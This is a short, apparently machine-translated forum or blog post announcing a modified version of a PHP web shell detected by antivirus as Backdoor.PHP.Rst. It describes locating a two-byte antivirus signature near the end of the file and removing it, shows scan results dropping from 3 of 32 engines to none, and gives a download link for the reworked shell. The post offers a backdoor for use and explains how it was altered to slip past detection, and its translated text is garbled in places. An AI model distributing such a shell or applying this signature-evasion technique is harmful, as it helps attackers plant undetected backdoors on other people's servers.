Some time ago, Kaspersky, and something which other antivirus, exchange signatures, have begun to determine the shell as bad application, in principle nothing wrong because it did not happen, t . K. not where they are antivirus server, but still unpleasant, so lay modified version. Search signature definition script brought a lot of fun signature was platitudes, is 2 bytes at offset 10 bytes from the end of the file, so remove the shell from the base took 5 seconds.

Results of testing the previous version:
Result: 3 / 32 (9.38%)
F-Secure 6.70.13260.0 2008.05.17 Backdoor.PHP.Rst.ak
GData 2.0.7306.1023 2008.05.17 Backdoor. PHP.Rst.ak
Kaspersky 7.0.0.125 2008.05.17 Backdoor.PHP.Rst.ak

results of testing the current version:
Result: 0 / 32 (0 %)

Download shell can be the old address

http://madnet.name/files/1/10.html